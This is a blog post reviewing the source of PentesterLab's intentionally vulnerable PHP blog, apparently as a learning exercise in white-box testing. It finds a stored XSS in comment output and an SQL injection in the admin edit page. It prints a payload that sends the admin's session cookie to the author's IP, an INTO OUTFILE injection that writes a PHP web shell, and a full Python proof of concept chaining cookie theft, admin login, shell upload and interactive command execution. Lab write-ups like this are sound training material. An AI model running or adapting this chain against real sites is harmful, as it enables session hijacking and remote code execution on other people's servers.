In today’s blog post I’ll be doing a simple source code analysis of vulnerable web blog made by PentesterLab.
It’s a basic PHP web app for learning white box testing, meaning that we have access to all of source code.
Analysis
The first thing I’ll be looking into is index.php
file:
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$posts = Post::all();
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
foreach ($posts as $post) {
echo $post->render();
} ?>
</div>
</div>
</div>
<?php
require "footer.php";
?>
The header.php
and footer.php
files are just generic header and footer templates which have no meaning to us since they don’t have any functionality.
Next thing I saw was $posts = Post::all();
which esentially calls all
function from Post
class, and assigning the result to posts
variable.
Finding all
function using grep
:
$ grep -Rni 'function all' --color .
./classes/comment.php:16: function all($post_id=NULL) {
./classes/post.php:13: function all($cat=NULL,$order =NULL) {
grep arguments
- i - case insensitive search
- R - recursive search
- n - displays line number
- color - prints the found string in color
It is located in ./classes/post.php
on 13th line:
function all($cat=NULL,$order =NULL) {
$sql = "SELECT * FROM posts";
if (isset($order))
$sql .= "order by ".mysql_real_escape_string($order);
$results= mysql_query($sql);
$posts = Array();
if ($results) {
while ($row = mysql_fetch_assoc($results)) {
$posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
}
else {
echo mysql_error();
}
return $posts;
}
While looking at this function, I didn’t find anything useful to exploit. Moving onto Post.php
page (not class file!)
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
?>
<div class="block" id="block-text">
<div class="secondary-navigation">
<div class="content">
<?php
echo $post->render_with_comments();
?>
</div>
<form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>">
Title: <input type="text" name="title" / ><br/>
Author: <input type="text" name="author" / ><br/>
Text: <textarea name="text" cols="80" rows="5">
</textarea><br/>
<input type="submit" name="submit" / >
</form>
</div>
</div>
<?php
require "footer.php";
?>
First thing that I look for is where user input is obtained and processed. on 4th line we see a call to find
function from Post
class:
$post = Post::find(intval($_GET['id']));
One argument is being passed to find function, which is actually id
parameter from GET request. Although, it is being sanitized using intval
function. Looking into the function behaviour using php
interpreter on my local machine:
$ php -a
Interactive mode enabled
php > var_dump(intval("hello"));
int(0)
php > var_dump(intval("5"));
int(5)
php > var_dump(intval("5hello"));
int(5)
As you can see, intval
returns 0
when anything other than integer is passed to it which means the input is properly sanitized.
Looking into find
function from Post
class:
function find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
}
The id
variable is direcly passed into query, which means if previous sanitization of input didn’t exist, we could’ve achieved SQL Injection.
The post_comment.php file
<?php
$site = "PentesterLab vulnerable blog";
require "header.php";
$post = Post::find(intval($_GET['id']));
if (isset($post)) {
$ret = $post->add_comment();
}
header("Location: post.php?id=".intval($_GET['id']));
die();
?>
This file also uses intval
function to sanitize it’s id
GET parameter.
However, it checks if post
variable is set, and if so, it executes add_comment
function
function add_comment() {
$sql = "INSERT INTO comments (title,author, text, post_id) values ('";
$sql .= mysql_real_escape_string($_POST["title"])."','";
$sql .= mysql_real_escape_string($_POST["author"])."','";
$sql .= mysql_real_escape_string($_POST["text"])."',";
$sql .= intval($this->id).")";
$result = mysql_query($sql);
echo mysql_error();
}
Looking at the code above, we see that values from POST request are being directly stored into the database without any escaping or encoding.
This may be insecure if DB data is being printed on the page without htmlentities
or similar encoding.
Looking back at post.php
file, we saw render_with_comments
function being called. Looking at the function:
function render_with_comments() {
$str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
$str.= '<div class="inner" style="padding-left: 40px;">';
$str.= "<p>".htmlentities($this->text)."</p></div>";
$str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
foreach ($this->get_comments() as $comment) {
$str.= "\n\t<li>".$comment->text."</li>";
}
$str.= "\n</ul></div>";
return $str;
}
We see that the post text is properly encoded using htmlentities
but the comment text is not:
foreach ($this->get_comments() as $comment) {
$str.= "\n\t<li>".$comment->text."</li>";
}
The value of text
is being directly printed without any encoding or filtering, which most likely means we can achieve Stored XSS.
The payload used in comment text field is:
<img src=x onerror=alert()>
Exfiltrating admin cookie
The payload that I am going to use is:
<script>var i = new Image(); i.src = 'http://192.168.138.137/' + escape(document.cookie)</script>
This payload will generate an image, and set its src
attribute to point to my IP address on port 80, where I am listening with python3
http.server
module.
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.138.143 - - [28/Jul/2021 21:26:01] code 404, message File not found
192.168.138.143 - - [28/Jul/2021 21:26:01] "GET /PHPSESSID%3D8h8kt46prtmfkul3q3u3tbqaf3 HTTP/1.1" 404 -
Using the above cookie, I was able to log in as admin.
Finding RCE
The admin can execute CRUD (Create, Read, Update, Delete) operations on the blog which involves a lot of communication with the database. Let’s check some functionalities out:
Looking at file edit.php
:
<?php
require("../classes/auth.php");
require("header.php");
require("../classes/db.php");
require("../classes/phpfix.php");
require("../classes/post.php");
$post = Post::find($_GET['id']);
if (isset($_POST['title'])) {
$post->update($_POST['title'], $_POST['text']);
}
?>
<form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
Title:
<input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
Text:
<textarea name="text" cols="80" rows="5">
<?php echo htmlentities($post->text); ?>
</textarea><br/>
<input type="submit" name="Update" value="Update">
</form>
<?php
require("footer.php");
?>
I immediately saw that this time find
function parameter was not using intval
like previous function calls did. As we found out earlier, the function itself directly embeds the id
variable into the query, which means we can achieve SQL Injection.
Uploading shell with SQL Injection
The payload I used to upload PHP shell is:
/admin/edit.php?id=1 union select 1,"<?php system($_REQUEST['cmd']); ?>",3,4 into outfile "/var/www/css/shell.php" -- -
Since the root directory of webserver was not writable, which I found out during trial and error, I had to upload the shell to css directory to get it working.
And we got the RCE
Developing Proof of Concept
First things first, let’s import some of the libraries which we’ll likely going to use:
import requests
import re
import socket
import sys
Setting variables and wirting an usage message:
r = requests.Session()
if len(sys.argv) < 3:
print("Usage: ./" + sys.argv[0] + " [http://target] [your IP] [port to listen on]")
sys.exit()
target = sys.argv[1]
attacker = sys.argv[2]
The exploit function generates the JavaScript XSS payload which will create a new image, set it’s src
attribute to attacker’s IP address on the port where the script will listen on.
def exploit():
port = int(sys.argv[3])
payload = (
"<script>var i = new Image(); i.src = 'http://" + attacker + ":" + str(port) + "/' + escape(document.cookie)</script>"
)
print("[+] Submitting XSS")
send(payload, port)
After generating XSS payload, it’ll call send
function:
def send(xss, port):
url = target + "post_comment.php?id=1"
data = {"title": "Hello world!", "author": "Lazar", "text": xss, "submit": "Submit"}
out = r.post(url, data=data)
if out.status_code == 200:
print("[+] Payload sent successfully!")
print("[*] Waiting for victim...")
cookie = listen(port)
login(cookie)
This function submits a comment with XSS payload by making POST request to post_comment.php
file.
Next thing is to capture the admin’s cookie which we’ll do by starting a web server using listen
function:
def listen(port):
HOST = ""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, port))
s.listen(1)
conn, addr = s.accept()
with conn:
m = conn.recv(2048)
print("[+] Capturing cookies...")
out = re.findall("PHPSESSID\%3D.*HTTP", m.decode("utf-8"))
out = out[0].replace("PHPSESSID%3D", "").replace("HTTP", "")
return out.replace("\n", "").replace("\t", "")
This function will create simple HTTP server and, using some regex will filter out the PHPSESSID cookie.
Login function will log in as admin, using the previously captured cookie:
def login(cookie):
url = target + "admin/index.php"
cookie = "PHPSESSID={}".format(cookie)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": cookie,
}
a = r.get(url, headers=head)
if a.text.find("Administration of my Blog"):
print("[+] Login Successful")
upload(r, head)
else:
print("[-] Login Failed")
sys.exit()
Uploading the shell using upload
function:
def upload(r, head):
url = (target + 'admin/edit.php?id=-1%20union%20select%20"<?php","system($_GET[%27cmd%27]);","?>",";"%20into%20outfile%20"/var/www/css/shell.php"%23')
r.get(url, headers=head)
shell_url = url + "css/shell.php"
test = r.get(shell_url, headers=head)
if test.text.find("Notice: Undefined index:"):
print("[+] Shell uploaded")
interact(r, head)
else:
print("[-] Shell upload failed")
sys.exit()
Interacting with shell using interact
function:
def interact(r, head):
shell_url = target + "css/shell.php"
while True:
cmd = input("$ ")
if cmd == "exit":
url = shell_url + "?c=rm shell.php"
r.get(url)
sys.exit()
else:
url = shell_url + "?cmd={}".format(cmd)
print(r.get(url, headers=head).text.replace(";", ""))
The complete PoC:
#!/usr/bin/env python3
import requests
import re
import socket
import sys
r = requests.Session()
if len(sys.argv) < 3:
print("Usage: ./" + sys.argv[0] + " [http://target] [your IP] [port to listen on]")
sys.exit()
target = sys.argv[1]
attacker = sys.argv[2]
def exploit():
port = int(sys.argv[3])
payload = (
"<script>var i = new Image(); i.src = 'http://"
+ attacker
+ ":"
+ str(port)
+ "/' + escape(document.cookie)</script>"
)
print("[+] Submitting XSS")
send(payload, port)
def listen(port):
HOST = ""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, port))
s.listen(1)
conn, addr = s.accept()
with conn:
m = conn.recv(2048)
print("[+] Capturing cookies...")
out = re.findall("PHPSESSID\%3D.*HTTP", m.decode("utf-8"))
out = out[0].replace("PHPSESSID%3D", "").replace("HTTP", "")
return out.replace("\n", "").replace("\t", "")
def send(xss, port):
url = target + "post_comment.php?id=1"
data = {"title": "Hello world!", "author": "Lazar", "text": xss, "submit": "Submit"}
out = r.post(url, data=data)
if out.status_code == 200:
print("[+] Payload sent successfully!")
print("[*] Waiting for victim...")
cookie = listen(port)
login(cookie)
def login(cookie):
url = target + "admin/index.php"
cookie = "PHPSESSID={}".format(cookie)
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": cookie,
}
a = r.get(url, headers=head)
if a.text.find("Administration of my Blog"):
print("[+] Login Successful")
upload(r, head)
else:
print("[-] Login Failed")
sys.exit()
def upload(r, head):
url = (
target
+ 'admin/edit.php?id=-1%20union%20select%20"<?php","system($_GET[%27cmd%27]);","?>",";"%20into%20outfile%20"/var/www/css/shell.php"%23'
)
r.get(url, headers=head)
shell_url = url + "css/shell.php"
test = r.get(shell_url, headers=head)
if test.text.find("Notice: Undefined index:"):
print("[+] Shell uploaded")
interact(r, head)
else:
print("[-] Shell upload failed")
sys.exit()
def interact(r, head):
shell_url = target + "css/shell.php"
while True:
cmd = input("$ ")
if cmd == "exit":
url = shell_url + "?c=rm shell.php"
r.get(url)
sys.exit()
else:
url = shell_url + "?cmd={}".format(cmd)
print(r.get(url, headers=head).text.replace(";", ""))
exploit()
Conclusion
This was a nice simple code analysis tutorial helpful to those who are just starting white box testing, like me :)